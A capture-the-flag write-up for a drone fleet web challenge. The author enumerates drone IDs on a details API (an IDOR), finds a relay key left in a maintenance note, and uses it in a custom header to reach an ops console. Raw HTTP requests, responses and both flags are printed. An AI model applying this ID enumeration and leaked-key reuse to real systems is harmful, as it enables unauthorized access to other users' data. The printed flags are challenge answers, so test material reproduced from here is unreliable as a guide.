Fleet Feed Hijack

An IDOR on the drone details API leaks a hidden ops drone and a relay key pasted into a maintenance note, which unlocks the device console for the second flag.

Solve:

We get access to a dashboard with the credentials bob / bestfpvpilot.

1

Now looking at the burp requests:

2

We can see there are some more, but the one interesting is this one:

GET /api/fleet/activity HTTP/1.1
Host: 91ba4a4478a66bee.ctf.ac.upt.ro
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36
Authorization: Bearer bdf232c1a03e94c7bbebdec97cdc8cb4
Accept: */*
Referer: http://91ba4a4478a66bee.ctf.ac.upt.ro/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

Which response is:

HTTP/1.1 200 OK
Content-Length: 388
Content-Type: application/json
Date: Sat, 31 Oct 2026 22:54:59 GMT
Server: Werkzeug/3.1.9 Python/3.12.16
Via: 1.1 Caddy

[{"battery_voltage":15.8,"cell_count":4,"drone_id":101,"flight_mode":"ANGLE_MODE","gps_fix_type":"3D_FIX","model":"Falcon-X1"},{"battery_voltage":15.6,"cell_count":4,"drone_id":204,"flight_mode":"ANGLE_MODE","gps_fix_type":"3D_FIX","model":"Falcon-X1"},{"battery_voltage":11.8,"cell_count":4,"drone_id":1337,"flight_mode":"FAILSAFE","gps_fix_type":"NO_FIX","model":"Falcon-X1 Ops Unit"}]

So there are 3 drones!

Lets try to see detail for each one!

This one is the one for 101:

GET /api/drones/101 HTTP/1.1
Host: 91ba4a4478a66bee.ctf.ac.upt.ro
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36
Authorization: Bearer bdf232c1a03e94c7bbebdec97cdc8cb4
Accept: */*
Referer: http://91ba4a4478a66bee.ctf.ac.upt.ro/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

With the response

HTTP/1.1 200 OK
Content-Length: 289
Content-Type: application/json
Date: Sat, 31 Oct 2026 22:54:59 GMT
Server: Werkzeug/3.1.9 Python/3.12.16
Via: 1.1 Caddy

{"battery_pct":76,"battery_voltage":15.8,"cell_count":4,"flight_mode":"ANGLE_MODE","gps_fix_type":"3D_FIX","last_location":{"lat":44.4268,"lon":26.1025},"maintenance_notes":"Prop replaced 2026-07-02. Nothing else to report.","model":"Falcon-X1","owner_id":1,"serial_number":"FX1-88213-A"}

Lets try 204:

GET /api/drones/204 HTTP/1.1
Host: 91ba4a4478a66bee.ctf.ac.upt.ro
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36
Authorization: Bearer bdf232c1a03e94c7bbebdec97cdc8cb4
Accept: */*
Referer: http://91ba4a4478a66bee.ctf.ac.upt.ro/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

With this interesting response:

HTTP/1.1 200 OK
Content-Length: 327
Content-Type: application/json
Date: Sat, 31 Oct 2026 22:59:15 GMT
Server: Werkzeug/3.1.9 Python/3.12.16
Via: 1.1 Caddy

{"battery_pct":54,"battery_voltage":15.6,"cell_count":4,"flight_mode":"ANGLE_MODE","gps_fix_type":"3D_FIX","last_location":{"lat":45.7489,"lon":21.2087},"maintenance_notes":"Gimbal recalibrated. Ops relay key (rotate after setup): relay-96fbd2b1a4dbc809a2655556","model":"Falcon-X1","owner_id":2,"serial_number":"FX1-88214-B"}

Interesting, that could be handy but lets try for 1337.

HTTP/1.1 200 OK
Content-Length: 479
Content-Type: application/json
Date: Sat, 31 Oct 2026 23:00:04 GMT
Server: Werkzeug/3.1.9 Python/3.12.16
Via: 1.1 Caddy

{"battery_pct":91,"battery_voltage":11.8,"cell_count":4,"device_relay_note":"Fleet device relay reachable at /api/ops/console - requires the fleet relay key in the X-Fleet-Device-Key header, not a session token.","flight_mode":"FAILSAFE","gps_fix_type":"NO_FIX","last_location":{"lat":44.4325,"lon":26.1039},"maintenance_notes":"CTFAC{8aa02c47637a93936bb8788b449f0c793d15e4e6c9ee42efbe22101f4b21371b}","model":"Falcon-X1 Ops Unit","owner_id":9001,"serial_number":"FX1-OPS-0001"}

There is it! The first flag.

Flag 1: CTFAC{8aa02c47637a93936bb8788b449f0c793d15e4e6c9ee42efbe22101f4b21371b}

Now what could the second one be?

We can see this message: "device_relay_note":"Fleet device relay reachable at /api/ops/console - requires the fleet relay key in the X-Fleet-Device-Key header, not a session token."

Which refers to relay-96fbd2b1a4dbc809a2655556, lets try to make a request!

GET /api/ops/console HTTP/1.1
Host: 91ba4a4478a66bee.ctf.ac.upt.ro
Accept-Language: en-US,en;q=0.9
X-Fleet-Device-Key: relay-96fbd2b1a4dbc809a2655556
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36
Authorization: Bearer bdf232c1a03e94c7bbebdec97cdc8cb4
Accept: */*
Referer: http://91ba4a4478a66bee.ctf.ac.upt.ro/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

And the response:

HTTP/1.1 200 OK
Content-Length: 225
Content-Type: application/json
Date: Sat, 31 Oct 2026 23:01:34 GMT
Server: Werkzeug/3.1.9 Python/3.12.16
Via: 1.1 Caddy

{"console":"n1kt0 fleet ops relay","flag":"CTFAC{d93ba7853bc74c3fd380a8e6adfd6bd78d868ca5aa3d74ba228e0679a1343fc7}","note":"Device-authenticated channel. The relay key should never have been pasted into a maintenance note."}

The second flag!

Flag 2: CTFAC{d93ba7853bc74c3fd380a8e6adfd6bd78d868ca5aa3d74ba228e0679a1343fc7}

Kudos to the Author!